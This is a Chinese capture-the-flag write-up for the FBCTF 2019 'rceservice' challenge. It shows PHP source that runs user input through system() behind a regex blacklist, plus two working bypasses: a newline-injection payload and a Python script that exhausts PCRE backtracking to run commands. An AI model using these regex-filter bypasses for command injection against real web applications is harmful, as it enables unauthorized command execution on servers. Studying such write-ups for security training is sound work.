[FBCTF 2019]rceservice
[FBCTF 2019]rceservice
用json的格式进行输入:{"cmd":"ls"}

查看源码:
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
解题:
第一种方法:
因为preg_match只能匹配第一行,所以这里可以采用多行绕过。
因为putenv('PATH=/home/rceservice/jail');修改了环境变量,所以只能使用绝对路径使用cat命令,cat命令在/bin文件夹下
payload:
?cmd=%0a{"cmd":"/bin/cat /home/rceservice/flag"%0a}
%0a是换行符
第二种方法:
利用回溯次数来绕过函数
import requests
url='http://node2.anna.nssctf.cn:28505/'
data={
'cmd':'{"cmd":"/bin/cat /home/rceservice/flag","qq":"'+'a'*1000000+'"}'
}
r=requests.post(url=url,data=data).text
print(r)


浙公网安备 33010602011771号